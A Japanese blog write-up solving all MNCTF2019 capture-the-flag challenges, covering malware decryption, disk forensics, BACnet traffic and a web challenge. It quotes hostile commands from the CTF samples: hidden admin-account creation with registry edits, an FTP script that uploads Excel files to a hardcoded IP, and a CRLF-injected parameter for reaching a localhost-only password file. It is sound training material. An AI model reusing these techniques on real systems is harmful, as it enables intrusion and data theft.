Macnica Networks Dayで毎年開催されているMNCTFの2019年版が一般公開されたので挑戦してみた。
昨日、Macnica Networks Dayにて実施したセキュリティコンテスト「MNCTF2019」を一般公開しました。#mnctf #mnd2019
— Shøta Shinogۜi🗝 (@Sh1n0g1) 2019年7月5日
ユーザ登録(個人情報不要)してチャレンジしてみてください。例年より少し難易度が上がっています。https://t.co/ae7qnNvFjx
今年も半日開催のCTFということで、思いつけばすぐ解ける問題が多かったと思う。
フォレンジックやマルウェア解析の部分は普段の業務に近いこともあってあまり苦戦しなかったが、普段触れないIoTな問題やWeb問題は少し苦戦した。
結果として勉強になる問題が多くて今年も素晴らしいCTFだった。
全問解けたので、全問Writeupを残しておく。
以下、ネタバレ注意
- 悪意部品(暗号) 100pts
- 標的攻撃Ⅰ(フォレンジック)80pts
- 標的攻撃Ⅱ(マルウェア)60pts
- 標的攻撃Ⅲ(マルウェア)60pts
- 標的攻撃Ⅳ(マルウェア)60pts
- 建屋制御Ⅰ(ネットワーク) 60pts
- 建屋制御Ⅱ(ネットワーク) 80pts
- 情報漏洩I(マルウェア) 100pts
- 情報漏洩Ⅱ(その他) 100pts
- 暗証保護(Web) 100pts
悪意部品(暗号) 100pts
マルウェア PLEAD で使われているモジュールを復号して、通信先のドメインを見つける問題。
モジュールの暗号化方法および復号方法は問題文に書いてあるJPCERT/CCの記事(攻撃グループBlackTechが使うマルウエアPLEADダウンローダ)に載っている。
この記事によると、PLEADモジュールのバイナリは、最初の0x20 BytesがRC4の鍵で、その後ろのデータがRC4で暗号化されたデータである。
暗号鍵は、43 2c c9 de 28 e2 a6 c0 52 98 41 ef bc bf a5 12 88 9e c2 3d 0a c9 10 eb 51 08 ef 49 94 e0 e9 b7
CyberChefを使ってRC4の復号を行う。
復号すると、以下の文字列が見つかる。
macniki.com/index.php?id=
この中のドメイン部分が答え
macniki.com
標的攻撃Ⅰ(フォレンジック)80pts
ディスクイメージ(diskimage.vmdk
)から、自己消去されたマルウェアを復元し、MD5ハッシュ値を求める問題。
FTK Imagerで diskimage.vmdk
を見る。
root
ディレクトリを見ると、 a.exe
というファイルが削除された痕跡がある。
このファイルを復元して、MD5値を取る。
5680a78ad0714d501f1a66215f509dfd
標的攻撃Ⅱ(マルウェア)60pts
標的型攻撃Ⅰで復元したマルウェアを実行すると作成されるローカルユーザアカウントを特定する問題。
とりあえず、 strings
コマンドを実行してみる。
>strings a.EXE Strings v2.53 - Search for ANSI and Unicode strings in binary images. Copyright (C) 1999-2016 Mark Russinovich Sysinternals - www.sysinternals.com !This program cannot be run in DOS mode. .text .data @.import h1 @ h0@ @jj h6 @ h1 @ @jj h1 @ d0@ cmd /c net user /add SUPPORT_388945a1 @Abc123456 open /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f && reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v SUPPORT_388945a1 /d 0 /t REG_DWORD /f && reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v forceguest /t REG_DWORD /d 0 /f && net accounts /MaxPWAge:unlimited /c del a.exe This sample is a part of MNCTF 2019, cyber challenge. Not a malware. @Sh1n0g1 kernel32.dll shell32.dll ExitProcess Sleep ShellExecuteA
以下のコマンドがユーザアカウント作成に関連している。
/c net user /add SUPPORT_388945a1 @Abc123456
SUPPORT_388945a1
というユーザをパスワード @Abc123456
で作るコマンドなので、答えは以下の通り。
SUPPORT_388945a1
標的攻撃Ⅲ(マルウェア)60pts
作成されたユーザ名からマルウェアAを開発した攻撃者グループの名称を突き止めよ。という問題。
SUPPORT_388945a1
でGoogle検索すると、以下の記事が出てくる。
OceanLotus
標的攻撃Ⅳ(マルウェア)60pts
マルウェアAを実行すると作成される、「作成したユーザをログイン画面で非表示にするためのレジストリキー名」を答える問題。
先のsrtingsの結果を見ると、以下のコマンドを実行して、レジストリにいろいろとキーを登録していそう。
/c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f && reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v SUPPORT_388945a1 /d 0 /t REG_DWORD /f && reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v forceguest /t REG_DWORD /d 0 /f && net accounts /MaxPWAge:unlimited
この中で、「作成したユーザをログイン画面で非表示にするためのレジストリキー名」は以下である。
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
建屋制御Ⅰ(ネットワーク) 60pts
工場内の空調を制御する制御システム間を流れるパケットのキャプチャデータと制御システムの設定シートの画像(一部インクがこぼれて見えない)から、空調コントローラの「location」名を特定する問題。
Wiresharkでpcapファイルを見ると、BACNetという見慣れないプロトコルで通信を行っている。 Building Automation and Control Network の略で、ビルの空調、照明、アクセス制御、火気検出などの総合的制御に使われるプロトコルらしい。
パケットをざっと見ていくと、localtionの確認を要求するパケット(Confirmed-REQ)とその応答パケット(Complex-ACK)が見つかる。
応答のパケットの詳細を見ると、locationの情報が載っている。
Frame 78: 73 bytes on wire (584 bits), 73 bytes captured (584 bits) on interface 0 Ethernet II, Src: CadmusCo_a7:d7:dc (08:00:27:a7:d7:dc), Dst: 0a:00:27:00:00:15 (0a:00:27:00:00:15) Internet Protocol Version 4, Src: 10.0.0.101, Dst: 10.0.0.1 User Datagram Protocol, Src Port: 47808, Dst Port: 59811 BACnet Virtual Link Control Building Automation and Control Network NPDU Building Automation and Control Network APDU 0011 .... = APDU Type: Complex-ACK (3) .... 0000 = PDU Flags: 0x0 Invoke ID: 29 Service Choice: readProperty (12) ObjectIdentifier: device, 1002 Property Identifier: location (58) {[3] location: UTF-8 '1F_factory' }[3]
1F_factory
建屋制御Ⅱ(ネットワーク) 80pts
前の問題のパケットから、2019/07/02 11:06(UTC) 時点での工場の温度を調べろという問題。
工場の室温を制御しているセンサのIPアドレスは、10.0.0.101
であることが前の問題がわかるので、このIPアドレス関連のパケットに絞って見ていく。
また、調べる時間も 2019/07/02 11:06 (UTC)
と決まっていて、室温の情報があるとしたらセンサからの応答パケットに絞られるので、No.114とNo.129のパケットに絞られる。
No.114のパケットの詳細を見たら、温度の情報が載っていた。
Frame 114: 92 bytes on wire (736 bits), 92 bytes captured (736 bits) on interface 0 Ethernet II, Src: CadmusCo_a7:d7:dc (08:00:27:a7:d7:dc), Dst: 0a:00:27:00:00:15 (0a:00:27:00:00:15) Internet Protocol Version 4, Src: 10.0.0.101, Dst: 10.0.0.1 User Datagram Protocol, Src Port: 47808, Dst Port: 59811 BACnet Virtual Link Control Building Automation and Control Network NPDU Building Automation and Control Network APDU 0011 .... = APDU Type: Complex-ACK (3) .... 0000 = PDU Flags: 0x0 Invoke ID: 33 Service Choice: readPropertyMultiple (14) ObjectIdentifier: analog-input, 5 listOfResults {[1] Property Identifier: present-value (85) {[4] present-value: 19.706110 (Real) }[4] Property Identifier: status-flags (111) {[4] status-flags: (Bit String) }[4] Property Identifier: out-of-service (81) {[4] out-of-service: FALSE }[4] ObjectIdentifier: multi-state-input, 9 listOfResults {[1] Property Identifier: present-value (85) {[4] present-value: (Unsigned) 4 }[4]
19.70611
情報漏洩I(マルウェア) 100pts
難読化されたファイルを解読し、ツール名を答えろという問題。
拡張子が .bat
でバッチファイルぽいので、VSCodeで開いてみる。
VSCodeで開くと、以下のようにシンタックスハイライトされる。
変数としてシンタックスハイライトされている部分( %.%
)を取り除いてみると、 1行目は @echo off
のように見える。
VSCodeの置換機能で、正規表現 %.%
にマッチする文字列をすべて取り除いてみると、ツールの難読化が解除でき、ツール名が見える。
XLS_Stealer_w00fw00f
情報漏洩Ⅱ(その他) 100pts
ツールで盗まれた文書の文書内の「タイトル」を答えるという問題。
ツールのif文以下の処理からコメント文を取り除くと、以下のようになる。
echo open 157.7.53.197> temp.txt echo P455w0rd>> temp.txt echo ftp-user>> temp.txt echo bin>>temp.txt echo mput *.xls*>>temp.txt echo quit>> temp.txt ftp -i -s:temp.txt del temp.txt
これは、同じディレクトリ内の
.xlsにマッチするファイル名のファイルをFTPでアップロードする
処理。
157.7.53.197
のサーバは生きていそうなので、ftpでアクセスしてみる。
$ ftp ftp> open 157.7.53.197 Connected to 157.7.53.197. 220 This FTP server is a part of MNCTF2019. http://mnctf.info Name (157.7.53.197:user):
This FTP server is a part of MNCTF2019.
って書いてあるので、問題サーバぽい。
一見、 P455w0rd
がパスワード、ftp-user
がユーザ名に見えるが、 FTPサーバからはユーザ名、パスワードの順番で聞かれるので、これは逆である。
Name (157.7.53.197:user): P455w0rd 331 Please specify the password. Password: 230 Login successful.
ログインできたので、ディレクトリ内を見てみると、盗まれたと思われるファイルがあった。
Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 229 Entering Extended Passive Mode (|||44176|). 150 Here comes the directory listing. -rw-r--r-- 1 0 0 0 Jul 03 02:55 This_is_a_part_of_MNCTF2019.not_a_real_attack -rw-r--r-- 1 0 0 203476 Jul 05 06:45 顧客情報マスタ.xlsx 226 Directory send OK. ftp> mget 顧客情報マスタ.xlsx mget 顧客情報マスタ.xlsx [anpqy?]? y 229 Entering Extended Passive Mode (|||47817|). 150 Opening BINARY mode data connection for 顧客情報マスタ.xlsx (203476 bytes). 100% |*****************************************************************************************************************************| 198 KiB 1.42 MiB/s 00:00 ETA 226 Transfer complete. 203476 bytes received in 00:00 (1.20 MiB/s)
盗まれたと思われる文書ファイルを開くと、「タイトル」が書いてあった。
顧客情報一覧2019上半期
暗証保護(Web) 100pts
Webサーバに直接パスワードを置いてしまったが、ローカルからしかアクセスできないようにしているため、安全だと主張しているサイトから、パスワードを読み取れ。という問題だった。
アクセスすると、 パスワードを置いてしまったと思われるファイル password.php
と、URLを入力するとHTTPのリクエストヘッダとレスポンスヘッダを表示してくれる webchecker.php
というサイトがある。
webchecker.php で、webcheck.phpでアクセスしてFlagを見る問題と考え、hostに mnctf.info
、 pathに /mnctf2019/task/admin/password.php
を入力してアクセスしてみるものの、一部しか表示されない。
path部の後ろに改行が入れられるかなーと、以下のようなパラメータをURLで渡してみると、何故か一部しか表示されなかったコンテンツがすべて表示された。
host=mnctf.info&path=%2Fmnctf2019%2Ftask%2Fadmin%2Fpassword.php%0D%0A
が、これは外部から見たサイトのコンテンツである。
問題文にローカルからしかアクセスできないと書いてあり、 hostで mnctf.info
を指定すると外部からのアクセスになってしまうので、 localhost
にしなければならなかった。
パラメータを以下のように変えてアクセスしたところAdminのパスワードが表示された。
host=localhost&path=%2Fmnctf2019%2Ftask%2Fadmin%2Fpassword.php%0D%0A
admin20190703
ちなみに、 %0D%0A
を入れるだけは想定解ではなかったらしい。
わかりみあるw
— Shøta Shinogۜi🗝 (@Sh1n0g1) 2019年7月7日
想定解答はRangeヘッダをインジェクションする方法ですが、%0D%0Aくっつけるだけで出てしまうんだよね